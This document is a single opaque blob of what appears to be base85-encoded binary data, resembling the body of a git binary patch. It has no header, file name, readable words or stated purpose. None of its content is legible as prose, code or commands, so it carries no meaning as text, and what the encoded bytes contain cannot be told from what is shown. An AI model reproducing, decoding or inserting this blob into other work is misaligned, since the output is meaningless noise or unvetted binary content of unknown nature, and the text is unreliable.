zGfWpV{QBcc+&mB)US~!i+LR4pDRKt%X2M^aUU{|#aqbstHd}$!42nydgNyE;f8d8+ z-F;V1;V881@C*n`UJFUQfbiH&Pg267%^L-K(UE}NH&PS04-g?fZh{!ur5(>*r<{KF ztn<9yLELvwA<#PGtzHAaNvMF`MR(>%a|g@#`iy0{&11T zre51y4?4Uh73r~4*dMyh26?qQ{)oFAaR3GWem}%k+snNDLwHT!youcP zZa>u92@(94$+k<$GI;JcmvH!-JY>S8zl3^@!%tOd>pSohttSNDZn^;-SE!3I*fjxc z*#E?2^JmsaL<#gaO-w<4(_bf!$NMVQEy6wuKyGGCW;*zIPc49HvdeMoy&lg5j(8m^ zb~h8I+wK0s&<}2&;nlxbP1SysoC#P%T9kpmf^Ff>Wt1X1wUy1kXq`8pI}sp#ZN&Zo zVCxscZB?4HWDVbEDECV2I$;suHfkWcV?a!KQ6Dpaw$}F;?f`U2-XW%fmS#>swUEFC zLumR)ca#}ZU#AC7=g@Sk?XB- zr}(M287fKV`5TB4;4iVIV3to?n23fLtoVrtW^=QJNdK0xkyTp^XJkc{*mAEdZ?=2l zEjT|LbvU6Vt1)XqFh2dYhX6TDO7Q-Pu^HS*R3(@->hy(~o84ckSm2g6eq!n!Ud$Fe z=T2zr=tbXFKy_cuqS#Cu4=e&=Nf94d(gR?sO4 z&uUBh<&|BCie(9#9bDtFhQuqB$y%1qx;Gwv-o^|Sm>Uj|0iXv^KpdJRvR>T6i7K}u z-Lw>w=P5>cIV?LHv@9)apBO#@7c^NpG#*9-(?LIhs1tot9h1j056zN#k}{iCNv(Wa za%EKC%RW$4h%rN!gcN-F8ZE$h1@(C&CioKWOUHd>NcAyisV6@jt)9FVD^LKH{Zb7bBNLbA`8?CgR0Zbe|3%Ps_zybQ8Q3Z*%`$VzExLhO?Y2@+P3LabX zWNw@>>iL-e$JJYgMfrX4-ZR6{4N}tGAxL+JbSNO*f^>IxN+XRlNGV7Roq{w-!_ZwK zCH36={^vO_&Wm|F*R}V(_u4DI>$CFs|LI06U<_D}m>7H~rmJrH6m?}y_*VS7Yqs5SLd27zBUBVs*>WsGR;6gLXvosi)>2?V@I^@_m)gkt7uCwT5*Gm z;x}@%UMsz8rmlo$_D1nC3-20g?K|7DY&+<)q)>)a|GD!-T0!e(Vw=Itp@>dsxu?zd z1Nr8!lK*E2ipn9rExX;$F{IemY&bYWl^h~Y3^-$g4M1N*1yq32AEP9Pi~Lh!4#rDO zkrVIi<IQwB4le>Om$qJv)rW*;Bc#6ppWzpK(E-7+^LrmrC5vRp zIk3ts^TGXV`IZ>|Wmce6^26&Q&`!6Ij^(q_EC&b8{Fp|0Cntph^f#&SgSqw8a+Q>u3!#0f zk{Bd?sbINoa%_bKsp^W?kQ|Kg(>6RhZVky!#C|hFLs8q}ddnH%zj8b${%ej1AKRag zcx9i}xcmBidadGv47DQKJaOP1)`uRm{z79RuAVWI@9rd1x?9PML z^EOnh`3Gy-6)hT!Rs#+XLmz3B^Xvi8m=*(hk@n&ZyqzdMAPrv|Q=>!!a>fCg!;|a% zOjyB_svrt}6?r7`D@{WK6R_#2N|_=`(#_N?2tJ6UhQkk6+*n@RjPq3Q5nom`o2wr5 z4c(t0n!Gs-Y0~9F(;^@snwbGUdhgsyqW}02D)0hcJ->iqqtZ^~q&4=4W_(}p=wwlj zQo{dB4)|_RVkU~z5>AeHB5Hq13NS-%4ZJv*28p$QJ4UWWv=248k1DhQ-*3#J5_D;f zz4HCOtqIhlBD@y1u*-!dW~iJBCuq;An>w(E6=6Shp>0>ClM9xZ23F~6&HHQCV(D)% zafiAjQ4Z5BEH@E6jfpKDH6&4i4?X^j12B-~l`7TO8b=usUm9}NNu>jNr6cInuBhlG z)+0bN8In@m3JUw@HO|2l^$}&2R9$t=(h0wy`2i1{gZLZDJJq zYjM77oG?d*5m-#w;*qR_(Wf`;C&~xTBq`KC&Eu{aH53MUgPyhgQNhaS!C`63USD>* zljc50{Aj~JY2p(Yr-V8Zwa9_GhKm8NLOe0Hys$eT&0HQ5PQinCeo*@+({sA$2?lIU zWN4Elmq*`(8^--i&eILDH3! zMu?XPtPE>}lHD@&sPXRSuL4sj?}tPM&Zhp)11QV87?4fJ{z`<3D&NNN0KbXoZ@p_+wh9f-Wx zabLD7b_h8m0N5=HSD~6w0qjgTfTtXq|Ipwogq$8KeT`o%@Z%@oDT{Mvo6{ggN~KU4 zp*Qmn8P>@3k)D9%mqd>iGC~gjn2+TDdw3T|)&BtHPE`C8p!k-5>fIUJk*5#+I@nLC|%Q7UY?02TKn~O z|E^`dDGNXhP809@Dz_V53!bL;@z=;hikz%oN8FlYz&lPCM7?hCuaW0{*8R0KfOfY~ zCqu>`sWEB>@;Fk3<&S}GZ#Rd92ESut*Qi<%cxZmplz-gZw^PFJV7Ye8&vwVJexl(EBsJ)JB4A3^JkKH3>&# zrdT<&I`a*ZPFn=;DyXvWFHux`P3J;Aj#Q{qJQAZhLa#3Ii<@gZ|6MN>gt~&l8otE+ zBt7Z8>yepMt1S2klc_~Y`%E?+IBs!s_;4ZSLjwti5YFdQ_!Nk8k)G_ME-_d=~wn zTEJw9vx(qtCfFouZgfvFCJ~jlMGeUZ@ET%dqY=^?A*#Lw8}XJ1ZQ0y5jz1!Neqqf2 z2m%huA@PyBw1TGDLFwH|M;(9~d44?s7-2{~UcCkOrhm?Ke+O%5dRmc$SDYUo%wgwG%v89XYZ+%tT z@SbupOgwNM8{E_p((cIelhD*v@`W%3R!OyW&ep}MJZN)i7w7|3I*R7(k&q%0W(pI4qmn+mfC=?&d ziy!(Sbt#Y4V+09#jeZFH1bKKm%D46Fx_aD3;`r8JKtPy}D61;H^A+ykB6a+Yyr6NV zzXO5U%ZTEW)eCog)RF}hn&$yE0Bs(1HL%Q;j>R$H$OVT%?dCP6%lAxbz` ztS(9|a{*d|=cpWeLzX!&B zqtWzocJyt-aU6~+J~WeO5M?+eWznei+O>t(IN-qfS?2jB^WW4y%z?}2`MAm zuQip)uyB+lNf5qFWo|wxmZ@Z`w-w`;LAVi*Sfa=IUxxL>&43JBO0?l*CyyL;^v*ca zkcbQ`Rq$CPV&hzXC-CM}6pa2ymSPA}^LsrEK6>iR_uxa&g_?-%3UUU4C1YOwZ531> zha>#Bgpu5cy?Zw>^{HE#>p;TXkP1e67L%emei$Iog_l&=X{$cCHBN$7#Iuo!aA z(V=}q?6EYa^h9`7!sw?8Xd=hjWsg)c*{DT&rOWP!K z{&i^Ri_qQcR>`Mp1kN91L7Uuk%P*ab5R?qd*$^TyP<}${K;sl|KkSk@2?pD{>JrLx z9~ZSx%X$8ozPO!m`2qwiq61xq5$V)nR+-fwTd&8^v6Zg`@l*LUELYHi{IF81lL6jh z|FC{{D8CB@MBTP4i?v) zTN+e!vh%wD^Ti8=DffET+yO}Y*)J`*+~8Xxww^2bA5eR_1SLEWU}hvgQHj1B?OVBq z<&t+T3gW+e>V|qLS->bTsG(NPNQTFeu5Y%>9Ys&t(QRu3-GG}EKn^@K_duNn?`CVz zj2Xn~|1=1IhK*6FF#Z~g@!IH3CV6oUuAYf(M|hq7g?SoAq}m0!ng?<9F?H#l$ot*E zjh^R6vLi3VE!6_qtadrQf7{cCR(sh2?zkJ=imTf~V@I5x$P89m<>MF=Gg#= zWS{f3TadLOPGg+_dWeZPPa1Iw(E3=l>T1xn5w9)?4KXu)2w+UTW2 z4``wCu%%l3RuQVx;PuP_>GQ&$O^A%#8lFrPf65T%+(1IW>EN+iusPPQE}Fy`(UMgX z_6QdQg%Zeh%0Q(8)QIK~$r!IYgiWb)hq3S?B7APPzC7X8-b=OJhus#X9WNKdu`CK7elKym^B)3N!DSVB>Rc{xmJ$?Su57b_IlEt3hrRjeJ1-AT z_WRHTQK0Ww!yCm=X(C_oM(pegW9sSBllaMlPa@WL+&#}BII6faU}tv|pI^R!0Our|_h*Z|*)!trLJ3h22egCxEyxdo zbXKaJz1Xq&K_lKu+qdWl1eBn#I#tEV{PydbSYyJT_yTd@eCva*@su338z*LTz5e-0 zCyZUOE-N&IC{$C(G4ZuJX&o5xrv}Z~7Py)hOe=St!;eoxe$=AFc!Xh2T9}JalGt2x z7CNTPS63GWG$;RhB}r+B5wbPS18v&w$*V#ffSE`oMSi%uHFQpS4pIl`YTFdA2~ZCU z$rb!>v(`0@(R~WEq?2q%m!+S^LQ3`Wb=7^_ZxGX{dM+5K#M}+zF->=@#5DYkpnins8RZ|WPOEpC~3u;;Xfh2wkd-C1eLY;D3ipcfw}=4huE?jSig z?F~vmKGUDzLqP&MQ-fOeQyN!5c~4i^i=`0VG4Qlw(uRil4(PVs^IwcJ#`zgZ-#iep zz}=(HX!oi=ROc*j_mYu{H zo}yiUK;sD4UL1`TbF`HLqEaz~VC)uGQJaln-!PIX+MU1tq(0&K6k5^0x=6r<#qwN5 zRH-0M2l1i_YX6=UidTa!!PV$_&Y+P|OO|g2XVvHyIm?Hc;d%AZ0w?KjsSY7DCn^i| z^l5!rle*p8aY6{+#y`i3s-2)MhLNQeZ)+#BhctwET70_w{YGK!ilz9QwUn4E!xnyN za9HX(dJ9EP?r~k-3ih4jT~O{y?;ytuj4(U}>roJst9@N3jeiJ+UHAYg#r;jP&Qc~GpoaC z`3kQ0Ub!qOedw7vBq*-SnV?HC54?`iG)2_53}V^t%YXDJBRl(!`M0Cgx5<)>azizk zCgHGq!3#PStrdF0D;az=YUNb4EBPf{+|n54p!c6eW`Q`rl()hI5F+FP35a>?brkbZ zkvde6#3sXhHHwYyG3nD;G2*EW+E`vfFgCY97ad7*b=+56oiMinj3j+>kq^{&*AM0u zW_rLOjnL%a$*qL*@XvUIJp3+vzuvim<8O~v$0OcgifJZon2*$Ytz~!Taoze^JSWrM zWpvKKQyZWuTk!z-_N#oziMiwl;H2h);a2M0YJjqJ!gdqylkG!##{UutiOw3bR8oTz zp?HRnidjiz5|QIBy92@sPGl|R^$0v1EhJ!n-)SNBD5-wmzqEC37c&iE{OBb=C9#O4 zCJZMbs>}J4ha(_5QZ|(!&SUWzpGXIliyr5z{IAM6$x9~(-QNv_cc$}4^qTCaA4lYhJ;KR< z-{FD{<|1}mlXM7*anuf3LNd8iM+m{7qrq#8QJDkmwN2;lEub!kx3xoh*Z}$+xEYvu zvfiaM<{KdL1rRUTC2ic-+utKIQ;Y$&&h||*?09U=K%FLFJVX;XY1x=?D;yWX6oT0q zv;SHE1!WmirGWlbonFUJB5BYSbkRIMchMr1;fT2z#JrclP9eqvCAW>y`-DaGGJ7eqG79`oqyI7;&o-WCMblE!?`J8oSth`n{Aq*W*QX7Qv(z)W8x@^Gka4kN>Hh? zPwqz%>HiEVtE0)Jxl@BE5zZ)RUiD8rClzXtqd4bCq)@b1!b&5D|9*Jm5G1LMr0MuV z?YrPxcT0^V6}nwTd@bZCUYVjnna?$BFn_}{ymp#+b_TBgo=spYy*X~t4$s|^U3ckz z(;g^b!7)P)|!&=b(S@)@Cqk=~0DduWgkiqm$eWU%%H=eus9QWZ-t5 z9Mn$=(0VBZu46cs|IT7!4b~5w_!|}iW+=q%&ubiYi-7ui>jk~_Q1aP0wDIg`pU1Lm zSIjUFZnq{j1p%@Ox}czKY|USh9h{oBPGb6ndDzTp`dQTRD;+CoqGCHHZ3ertdL zHea5)e$_$YOX-B)T0MSM|6(d7d1y@fqwMf!T$r;$ev`IH^zG9`^93*PbjMkx^hgx3 z*u*2@9o{ld8U*duuz6*qy$|?px!ni;r21NbjR**smUuu3D=+`Sii%hibivs~;K>7* z5Y=~tFj|Dw$&1h5*G1-_+sAK0n&h~UJc_l<@f@x4#7LDC!qbM3?4_{Q>oxPDE(nS9 z`0GhFMdrXjAr1Mx5%TuR8wsZH%ONbUr6pkK8(pEqZ=>&v0sikN2vL!MRz>c0*Zk-< zP}Ae}kA$Pm7LX>7oEoN>M6V#ja2z$SS7$F^o!3F8%z7HDu+5BJKos^aWQwM;8qi?_ zns}LX-d=6HLwbg}JN9uppm{x_*hVs&+k*~GzbaHl$7v+ovw&2DIcF+@KGA9VM_={Z zk;{^-H&O%me6TAF*v^-h=zt#tZik3s>mL|@$Q-M8>LOP{UuwBhX!Ek{{o+FT(y}%> z={BK4829O6fvq7Axv{IOU)d_t^~&J6moDgQ?L<}}aO8;*@NW&zvguu`XVq+uw-F6B z(T`IYA!y-ui`4U-Yp7KGPo%L?zrAM9clbL=zw3kmdaTl4H<9B5(;%aV1AgpNa9uKj zMrTDgvc23>Qm=ojYGFk;sxzJ90yXQuv86zt-+jY}Aq~LFv$5b>AdZ3tnrvIPn&E*L zpbojyFm)i^TxnHQUPGUL6N{d<YfIv>a=lTyWlZ7iV{_Rlm!mGS zNm2msZt4BzD5m|>Wqhw%s5xO*h6`3>XNJmneuq|QVzb(+Nq-oRq7c>3;Zoy=dv^Mb zaW*EzqG2J-u33HGr|%`!Y94rP4Y7?Eb2SUmi=Kp?m_W6w?I>rjr561v<*vY>m22-U z>Ofb`s~CR3*Fa|AY4%8x>)5avrFfx688btvFz z7Q8_IRk;!_Bz_hh`$@rv1}cY2({XP3OMGRj3w(5!SW7MhGNB0aCY!h~McPG3SKDS( zOEOF3-mjx$ejjidd(oGu4^+|hIL6hh27&ecJdkmi>FUqm7|sAN;AAEnYTiOirxW9WM zTSPQr5h!&n09bz=GjQqY_(UM7$8?-d_pF^9KNc6}$NxV1zYB}?ESA-OtNs6oWh)(b zbEZN+8E|bxq2)ELpBzFOI2e?jn6$`4fiOi&WrCR+M|!vsa19{SB286mXhZWI^#K3q-1*!xw5@)L~L@ zUuz%E2XTB2{}-HA;EZqvx|<}gqgZ&gb)BP1@R;-P?dgwEm@;auy+Zng?7InovBDDd zbbZTA5flo-dR%(VYq{#AM0-HZ;(67*m) z{X`_rvkg(@1>US$M*LJyx~%tTI3;oo1T(;=pE3p62)4H8u)D00(P2$|>OYDM_X;tg4kK|yC@Yz^XTAkT|Q>buq^ zowMYM7WA@pQAz;{X#1mKb)cHM#eQn_po^oxx$XfMOmdmYJRtR(n*3chm@ z{nHF7$5W7Yh)$i$13QlXb$wrDHW`dJ;Y04`!!#$(9Xj_ZxUC8SMvt1;;P0X4{g-;0 zZf2}X_Bcc+tTdu<&St{SMI2EIRRH-Y6_M4H+WU2MUpI#vpL>zN8tHO%^D<$~L!S}# zYAQ2%La4)>WOJ7QK_mL1$xOBaxeB4SDizQrl*$b#bjMxS1+fgq!#Vq-5K=YNS+>oV zmA!Db@WOButjEJ#`inXW9>(5`)&;aN2VQB8OETXy)a0`+G!K3!>u zHCeN7o1E^6){!}~{XL3G?1zGB=>i@p!R}ICOwaeiupOCkyauU{Ooq}~!(6-7Et&3% zWXi&(LbgP|NI}x1%smO7b4L>z6Mq_)uea49Z_vXI^lzoL`G(j_)dzStaA4IA z)PU$^=%=#gYpvRfcbRK=|_?=u;#n>%(%Abt%`L*OHJBz^>G3s9LD#fb}kSf~fgw~_=5_gi3aK_-qA19h&K zx74BA(5Wtl$1|;?n+FSM_v(2ZSp`c*Bd4f(5Rw(&Aj}zsU>o{FKyc5*rb1zASjZa! z0RI3D!Hs4)ECSUaI1!{}R#(*{8KMq?Z_v)wP=YJ7CgO3_$JErA!11J18U!My-NHF9 z&v*1D)sxYMM1&#wWuew&fO`GR=y0sWjUs`YzyV;t;;KI0Fqa!22qRr*zS?9+@ARjC z{#A#C=LW6@vtzeMht`szw2~^J-EsOB`rms=aBSKsrMb*BeYz6a`(EeDznQ8h$!|!7 zgTg>o#H~Oy9(n&;kSYf16?9>MUya-p>KRYQ$OX((VMt@z^EzDh#(KOI=R^d3Cu=%8 zqm(Jn)|89l2WF{oYFLsZoT&oEYNaoq32SE4Y((j2u4%PoXI-7`(c&D{wPOkpaio#5 z%tCOw>`o|?yh5-9qGt(bpju<7d_28DGVA0@J>K;stGJZl^I`Sotbh&W9Pg0@8{PG# z?&@+TYQ&Km-2}^bZ1TI0STOHvq>r#bgrhLt$KesORr~IMQq(`*-$ET?OfblPS=CE$ zvYG3Cbin-nl054QZ#Z9_IY9t0*d~5ar;>Fz5<>1Tw^#{x@l4gx9IcTXJnch%{IHwZ z*tf9m?iuwJ^Lf>AKkMFd{uTKi-efi3bc2`54fOt^K!KL4LseveoYEli$sGtPH}KNz z9@4FoF#u9m@@#<$31xe|z3um9mx5l!E=+hSVR5OX5A5U47VIMoppCpkhLxTKJAWKl zd7Q#^kkXP8xcKc_f7T-_$zPJVS4}+Dy!|of{^xYv<@NisgK;CN>+VTp*R;6H36Ezp zgj}uMy@3f**5k$WeQIKb|BfYb(4$q&FMt+a6sfN^zHoEksKFFsw>Vuw+uh!o?5xd; zv?%&gP@)-z<98K%+Iz{LJNe^y&XaPWDVLru0sRln^QC)s7WhfKtR;p7l{H^T$M)+e z=0oy%?EXi{lVKuo>536Bws9rXLtb z6q`+1dOs)TgyGkSp*Eb@>A;I=Nx9#4xDuorw?N)gE`($_`hpErX0r%-{4dH;3=B$N zTYt@~D-M5k*{lgrL;wu5KvE{!ZH#P^YHptIsf%vnX~e~igA-*mm%*T1Q5B{UxI5as z(bVs5H@`>EdUS8;YLId9e2-GLC(K3S`6PlgEOSxeKo;c^XTKwsq2_;#wN_NLI8!EUcD)`m|yq3qu5p89?fb-aG&xyHi^>~Z!w8Oqj z!%Yjxc767Ggs_tHV&iscHoedOi9TpD1uHYXRx;&|z_E-{!kd9?dc_g2Xt1@J38ou0 zVZ48ALg!p*qo@cqgzFL2i2~^l2k(>&M0Tp`HT%fNg_KZ-hyn?=lfu#GEFVL%sva-z zUMaS$mkVGhq&_ikHM&w6Hh^S)#*;3;!|v^HWQFmGuW|yNI(YjQ?>OFPsHuut6LegD zshXT9xU~1Zy5+dvNRXDij_P83KCG3QkaPVX^A0)GO)eS*`!L^8`Q#2pFBa z2GEc~-IP%JQsIrI-AmkvFE}u9&8n01F+Un%xW%AyTK29iBh^;e9gXx2%QROQsz>rX zowFAV_Sg3hZ>S&Qx(S4r%pE2EB(|j^(RzWXWr5h(AX4}iPpR&R9ldUE`PPdktE*HS zZ>%7gOidSV`1Yi6N$9GB6@4{*|E}hu={2lLSr2i;BX1r(VAPrF)4BB%o-)Vi+a{Cq z(f~c_iP4in2thX5Yk&+SJO7zEsn!6hpFh%Z0OXY2$N9XL9=to66T&Tu@N1669}NY} z;Q3Fxw9N7I~_H|UrhjaUKhB%KpIp~y+J#j_kVuk!T)YA zinQkIPFaQwi1ja-42iPvEP&*~odKySC*rLPIx9GkL>#ob8 zGV9)|?e+-UA?1DJt`lC2)pVS4{{)2WmaaYd$|$8(ELK%7t;%0+p(;hQ;D&5UnX>&- z7rFRGRCibM0CWQbl1=8&FoL9{WZ!tE0!*Z#qL)A(?E71UVsi><7!UfX6PnQ*ynA&# zpi%_9<0qFAMa6yOdG4m74G0H!>BuWDB!kHs*s5QnvwoS|<2t}7)<-w!V8;0?kD}8{ z`_HO}il;|?4KNDMn4lm}>va(r`W25#5cVm_i8sK@OHv`?lWY6qZ+D((>>y)!Tpvl6 zgV5Q2ibCO|ZIRBx50HLvv`K)Bxb}0aWfDLPt88@E;VT85HLix@psk=t&ZGzve?icQ3qpsSzA1N%!jmT^oTt<@s$n!M+`4GV%mf#%&i zWB{S-Xw*UiwOd)XA7VJ@rgL!}%8K)CwNEzRIQC)uv^VAHk;sjgoFZU1z}OW}N79VN zrX8$V7OMJ6vh1@-tQ~c(DE?~)P%0>=*G{o#X%4Zrg4AKW>PH)bh^d;5F;*m?T`fP= zg)p%tZK4khnEHNnc05S$`{d)`I5A2Ym3f8+4KbynMs(SPC|Hkyh!M%KuZ*v|y+0Cp zEslpu0bQ=)%9ZFwU=HpoRoyVoz>84b_Ev|ktCO(U(-jY#L;ko6$y_R&|F#KL!#fu# z1RLD^nX7VN|GQBJ&1D$g8nd|eXplpgq)oJ1^8FZ+4>$9tB*0LH&i1(Uz zq}G{7Q}4ZfP%3%pXa4BF|BfXaPY#gzzN=~rs!`K%~#c+z4AOe9Q zjt>?{LZVO_TrU;Wv%k9SNW;B{5i&XeQUafKF>a9ne3>>};P1wpIzrT4SmNBlofnDu z6UxVcpZR59*Yq=@nwh-x6dm9(2xbO8O5JZ8Qvi+vZiD9KX}aHq#*e|xQhHR_yhxpm z0@8bRgjOmfK5?Y|za%E7dPoW{U`ruwCA`;;uB^-K_Hfjv!@mz^EA1r1OFLlv?`$eu zugDtFi5zWr=8#s7hGq9OAd(s;tOwMc=BNN|iwfkZ*wbpw3RLm@)2@L@CC^jaIz8*? zc>FeYs?MTG$3sjp{Fr8Poty_n<a9C#r2FS18h3IEIisyICGPk9`|mryAy2qJ^-=Kru3VZ zAH=kU+wjqS6gb32IJ{$@Om?Z*S(wtVD{)U6&w5shfkT#Es^aD0)#4bQ51)Fb$9KDh zGlPI;fu!+V!BPh^#$3vl+=DGP#tW0E-GMW=7$A9L1p&O>8ahH z4;|@SuE4mQRUgMrDCU zHMbxNM>@pqXUH-FR1TEb>s^C-b?Ons_+YRrP_6v(KY)7YP=n3wN5B0;%7Kb9Rq{Uz zJNC@W0fVMT3-6?;!O+cTe_Ij}H*M}GXcalc4nT{R${k?RYsyRb@BURMAopR?{0F$) z;aeN+N##hVHkDnk;k4R9;A1kP)S$6=K#>KElJeY~G#EaOep!sfwmiYiP^?udDdhcf z9#u=?1(K(yJV$^=mg>g!Wt2dy8v+33oUl2UBISfRy?Xgpxu4R(n^?Yy?A+L?nnqRJ zYdGTKfLfrI0uli9nT$>8D^!toCD;u`3!;U#eIXx%Iziq!lcZ0e-3Oz?I?xP(B)=+C89q{AA( z=y=>!_SCZ%r{p@JDLjxzXWc{wKH;pM*ASS5QfQLfH=ZB1VQ=1M+>;xt8>Q|~yamRs zF|gDM6Lnd453$L!Wi3M?CeT%2+)2kgA&sk$9M{nP8e{IGl*_q2P&s>Swt2;` z^ae)VC{&zw8N{&*88|t~yrDNuVPC}o@OoH(^mwRqg~;8khyjanp@a@pbe<2|e(DFH z-M)opBcCa3<3^o07V}HF=)MKH$mOY;$w+VZz}s#aj3Z054>~ZlxG&#mTIls^U-x=n zfpUnj5~C1QkxX}QaQt~# z+%zy#s|Z8K5+D)|AO88jU+)N*f9DM#aOvAjEblqVOH<*!{00$fD}EF-pMvK`tGCxZ zJ01IJ6Mu9!#JE5@o#w_f9_B1A%ep85UKkaVYtf(9TaW`Hbs3l5Ta|W(8g>5|02s!# zSICu$7Hc<+Oj|JBOT`^NH-nkS{5I?X56?jx>4P5mUK|&Y|83^vy;Bw!oIGaNq*N45 z`S;CQQp{XP;VYJ-C*x7sRkwEq$w_*X*eS+-jvfK+GAO8D6gIySotyPS6;nQz5L;f8 zKIbV7{gvgV_Wg0^BihMyTS+2~*9J!SRf6}<{o3ImtWq@#31B)yfb^lhiTE^hw*>*d zA}y=y=*W1)cqJtksESLe1dQ??Z?u*Q;Wb_Xg+>u4QlI zoTl^NE)AI5%L5(l0PK~;ChMm{wcoC7-_8uYKASRvmoV{rG>)?m03IiI)E{tTYUrgU30F zmx0VCA5+DL%fs5@-d5)fNmPj*S!HYZKpCg|8+NfD`@8XwyV}l z)OlqJ+h&)}fSxYrb{~6^^)%%^e$zx9CjD=-IFux`+s%hp`DZT!PI z9!O=%HsRRz^3HxtaRgT7Ol7ouWk{#@qrT@unAjT=1L^fT+`&cy2t%z-dBPyzHVtKR z7k{&o3OF<%HWoyNv1Z?$+<)NTy4VfcGt1OEa1-K~%0q4s>RPtd241pWS~BNhWak>_ z7l~atYU4&?AX+Sd0#&@bZh$mudv&=2Koznq_!~%`j3&cyV220j&Lcz|a`wj();@#l zHxHCcXK>oD3f3&YvJK$quPSj-hJ(ss4#0?xpd{BUI_3z9*s5PSko;*IDQ1js{52|w zmAnu3vvf%$re|@OrzUuo=L$W$%z``iUwT#+ksLh-x3EQGn+;;vD}jBH0=5T6%y)m*;r^heSHQ2>$+7>{#`sqSt_qZMz%ZK@{Sm_N;sp{J#9Hp`FXy(M zM5+6(&E<9Y3rVSQHg+qlve1M@M^6YGlA6|e85wNgxXP51w-4?1pBdJc28hJ|$rS-u zD$MQSeiL*%_{o9972}~PU>>|G&%mhBAJoM?3??Fw2dGDSXurxkd%TYLFnq)Ky@7f& z+0i(HvEwh}M}LcpdDhQtoH+qr@>)ZyjU)?gKO_J~zRRZ6#0M!Dv%7$cY2}oIL&&Cl zmqsuBkv9-93=>6583~gf6?qrfI($Cr2tc_)SXyuV7t3mH&7;65yx#h_>8+Bb5gB-U zTID?1e-RmWyc9?kYrO1?;^=UdpH`{xUF`~t_yyos2Nyu2hYy*8+(8a>sWTP&OjbH@s}TjLfSWy^WD zwSjXT!oKPEW3CmO#vg*0nsFA(RCBhFP|*6<$utzWtOFU~fWFbCG{ zajc}TnXR{qVcp3Jl4GPeW-mZF#e1flo|>~%hLJw)i{9)Fs)d(g`VDP46>y(1Nl1+4emEHIC@i=5kyf%v2QlA z3du8&f0;iqRh@x3@IeY#dq*H5V7|J9GbOGDYkU7~I&=-{J9pYp>gzNaFGZUHzW?Bo z{&~7CrZV57fPl6Ci2;bo7#xX^b=r=0flLI^_R~{JOU-!CU80GGMYZ2b1^R9ZC1c4b zs?#zBBq&*0mmX*lK;K01n;mH}SEMec=FRTgr2v7%V~EPqj>(5n{7wzFZ(7z*oQ7KAHW%FL|Q?4u8+~;K!ISe406K-4D^uW zHH@7(ba}0ca-J(B|2)tGr8rqL@J_O*#SNa0UMr{s+cAzWQwMs9Qy5%3&s$* zkj~Ja+bgjvQ_x|jr~3WFf!x2U@!kO2z)1x8Z?e2eV>!5P5BRwQq%qF)e4dAigeU)d92|oHDlJO=6(H_pWYim;B#39H%=Uk?ic0#Y% z+C0`oAa@=1KqerTb#q>?xK$V}#!l-!WjE2|VQ=$M41GZ;1;cl;hO??Rtj)AJe93E7 z&L4;?AjyFLRw|=y1k|TN@aY1J%1UBW>95f|!)5{2BMn6o{6!|31dpjC;9L?UPndzw z8R|F-@44FX^8}KO7hT&I4w4m4_2(` zOF`l2*xxew@|XG`CFNH2crLoIIT0fg7S}$F>eUtIvn!_go_v361k-N9UFypVG7&~N z4#YBN1cV6WkU@KYgofU6AZ43DQoBS`e?{|UC;VeMZBbP-APww}1qUg*xn5@hqPofFbED9(h|7eBthy_!50q448sJ~IrD4AdsC>o$? zk=_HN0(wwnsabVCJBQ*->;tpd04WIyL(-CfJ@HNY7)IzT5qB!`rcNawVFFG;7m414gkO23c(&-b8D)R-(voy>I-2StehkTR^&5bISg7 z>gT0L^nM^EyfQ=as%Kr1^!bE8#9FJaN+NdDUldQxGKUTZhaFP&6oZ{}sx3%Rmdpeb zB-FVln)71qzKQ(M{y8GxM6rap>!=cRXb#&3GKcs>#du6xkq^HIrq9A_VdUSevk;nG zu|#f_kxyW!OhRq z(siD6+c{?<+Ulw~7U?o6B2m#mA7UPc;8jzFPm*XJ{vn}?LkeZ=ZVGY8&8lv9e`V8g znNH2&*!nY-xF=|e#H_`z!W5IXD?6^+Rj}0%S%V??YWdphr_nW_&M2p1fgdWnp-%N* zQ04NVhiL>k&5u)r0fy}?OdNL}=>G%84-?_cS#?k8-Av7i$4#r{^KE@&Uz%=yNRXay z_q>lLWeCau-!lQ(WShqav^n1^0x9$xJAdfMqgPq32@o%x@W~K4Ea65kIod07oBl3S%EsU9}mH06gZww{R zhnk^q#ChVlHA(>(yfDsuVb>`^m8pvY7WRL+<&G{X-Jh0GeG37D*PFN}X+Sc08;xNf%8k-hwE?4Bw?%x>VcTNRJstw^VJsZ{A@_S*KEJ2*OzXmVB|T;J8eV0A zkn5}fbak;}^WV0N%}4CD_$yJ_vlrPi;6dTfQai}CQk~nWKLrcAh-jnvp%R&|+*+~l zYC^eEl8(_t@ZY$rgY$?&4njGiBs*+h&Hq9Hbph$M#}$v}TFNV(JYNpYpB%a*|6P2| z5Nx9#So|wKVnvg|;92(A&B8(b^9l2>b=Ap_lKxx3@|Ru$ljUfi-4~M(;2qyVXeJ5E z8KBeSZPYdR^cU$y8v-<4#iP7XfzCrgMT!Ml7+zoZxly--8`!5Rrol>ZKna(3_M~n7 z=jFnwqg(;ZA9V)11}gqp?tn5s7kisSIEqD@kFXxlEohVXUWrYp2~Ih@XHzyp|#ga2?0} z-joIxaHM*APAIJ4155s&$2KIh?T!n|2c4-7XBHn$A{k-3h4@{xZ`u{fkdH=E!kP=IVr9 zB8UVRxCTfo^p@j*I+VL)^QtR)EN){8a8{AU12_$;zIP6WDhA%sKM$3OV%Aj6fYc;r zeUm{^9!PRBEassX#~r4Y0SB9GXpj^)exuG8N0#}iVxRjozUqxMppk2TCuDsmzInR=d4?)iYp3wP%_CDIr73hsKK1A}52Ee^ z(2nboX~7~(8|G`@H<|{%(=Q3xYf#qK@;PBvtDG<_nlAESFMJ$zx()p*h#&NZMYB)k zOC`fc?YTG92B%4Gv@%Qv;o8IAcK-|zaj6*Px}EFZ`L3gC!ESMNgbp54oRali)M~HP zfsXS=R}?_7T-?ZyplEzz3A{|$$#p}vsr{Y)~*`G zW;+;;^d?^4%+6W8;V|+Vg&BL3%LMsC&Kal*Q2H8w`v;@rnl;sAt=H*k)w1ZfFI}_R zuFlELV%A1(2+P=`;A+-q=-9kDQ`wxSTmEY~B>H1<&ah!Cl|^bz2xO_BGn2-d(sF#9 z-1O)X+wcZpL=MZ5M#97<5;>s4@g{TT(C zWVt8hg|fPiGoo-p5_3IX69pU!92_Fo&ascI*WCSfUCKRFV6Ycw%Zi`{`#G=kUJ&|_ zD@d3^H&i6Ln4;{yru@8HBxBIgNhIdQj3Bh_+YXhfpPU=ulD-i`7(kHGmHr)GH-`l; z=6_@PwXUL)Ze32;3TbD-*PQdX@TuDOBKr%r+{TBG2V*st6QB&({8}V4{Ws}#4RY(w 